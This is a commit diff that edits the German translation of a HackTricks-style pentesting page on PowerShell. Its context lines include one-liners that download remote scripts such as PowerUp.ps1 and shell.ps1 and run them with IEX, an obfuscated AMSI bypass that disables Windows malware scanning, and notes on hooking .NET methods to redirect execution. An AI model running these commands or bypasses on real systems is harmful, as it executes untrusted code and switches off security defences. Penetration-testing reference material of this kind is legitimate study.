mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM
This commit is contained in:
parent
ee20e1e918
commit
633130fe29
@ -18,7 +18,6 @@ Get-Command -Module <modulename>
|
||||
```
|
||||
## Herunterladen & Ausführen
|
||||
```powershell
|
||||
g
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
|
||||
@ -113,13 +112,13 @@ ValueType : REG_SZ
|
||||
ValueLength : 4
|
||||
ValueData : 0
|
||||
```
|
||||
### AMSI-Bypass
|
||||
### AMSI Bypass
|
||||
|
||||
**`amsi.dll`** wird in Ihren Prozess **geladen** und hat die notwendigen **Exports**, um mit jeder Anwendung zu interagieren. Und da es in den Speicherbereich eines Prozesses **geladen** ist, den Sie **steuern**, können Sie sein Verhalten durch **Überschreiben von Anweisungen im Speicher** ändern. Dadurch wird nichts erkannt.
|
||||
**`amsi.dll`** wird in Ihren Prozess **geladen** und hat die notwendigen **Exporte**, um mit jeder Anwendung zu interagieren. Und da es in den Speicherbereich eines Prozesses **geladen** ist, den Sie **steuern**, können Sie sein Verhalten durch **Überschreiben von Anweisungen im Speicher** ändern. Dadurch wird nichts erkannt.
|
||||
|
||||
Daher besteht das Ziel der AMSI-Bypässe darin, die **Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen**.
|
||||
Daher ist das Ziel der AMSI-Bypässe, die Sie verwenden werden, **die Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen**.
|
||||
|
||||
**AMSI-Bypass-Generator** Webseite: [**https://amsi.fail/**](https://amsi.fail/)
|
||||
**AMSI Bypass Generator** Webseite: [**https://amsi.fail/**](https://amsi.fail/)
|
||||
```powershell
|
||||
# A Method
|
||||
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
|
||||
@ -170,14 +169,14 @@ Check [**diesen Beitrag für detaillierte Informationen und den Code**](https://
|
||||
|
||||
Diese neue Technik basiert auf dem Hooking von API-Aufrufen von .NET-Methoden. Es stellt sich heraus, dass .NET-Methoden in native Maschinenanweisungen im Speicher kompiliert werden müssen, die sehr ähnlich wie native Methoden aussehen. Diese kompilierten Methoden können gehookt werden, um den Kontrollfluss eines Programms zu ändern.
|
||||
|
||||
Die Schritte zum Hooking von API-Aufrufen von .NET-Methoden sind:
|
||||
Die Schritte zum Durchführen des API-Call-Hookings von .NET-Methoden sind:
|
||||
|
||||
1. Identifizieren Sie die Zielmethode, die gehookt werden soll
|
||||
2. Definieren Sie eine Methode mit demselben Funktionsprototyp wie das Ziel
|
||||
3. Verwenden Sie Reflection, um die Methoden zu finden
|
||||
4. Stellen Sie sicher, dass jede Methode kompiliert wurde
|
||||
5. Finden Sie den Speicherort jeder Methode im Speicher
|
||||
6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode zeigen
|
||||
6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode verweisen
|
||||
|
||||
### AMSI Bypass 3 - SeDebug Privilege
|
||||
|
||||
@ -192,7 +191,7 @@ Die Schritte zum Hooking von API-Aufrufen von .NET-Methoden sind:
|
||||
```powershell
|
||||
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
|
||||
```
|
||||
## Finde neuere Dateien
|
||||
## Neuere Dateien finden
|
||||
|
||||
Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc`
|
||||
```powershell
|
||||
@ -202,7 +201,7 @@ Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUt
|
||||
# LastWriteTime:
|
||||
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
|
||||
```
|
||||
## Berechtigungen erhalten
|
||||
## Berechtigungen abrufen
|
||||
```powershell
|
||||
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
|
||||
```
|
||||
@ -227,9 +226,7 @@ $shell = New-Object -com shell.application
|
||||
$rb = $shell.Namespace(10)
|
||||
$rb.Items()
|
||||
```
|
||||
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
|
||||
|
||||
## Domänen-Recon
|
||||
## Domain Recon
|
||||
|
||||
{{#ref}}
|
||||
powerview.md
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user